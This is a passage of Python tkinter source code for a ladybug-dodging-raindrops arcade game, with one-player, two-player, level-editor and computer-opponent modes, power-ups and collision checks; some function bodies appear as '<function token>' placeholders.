canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\n<function token>\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, 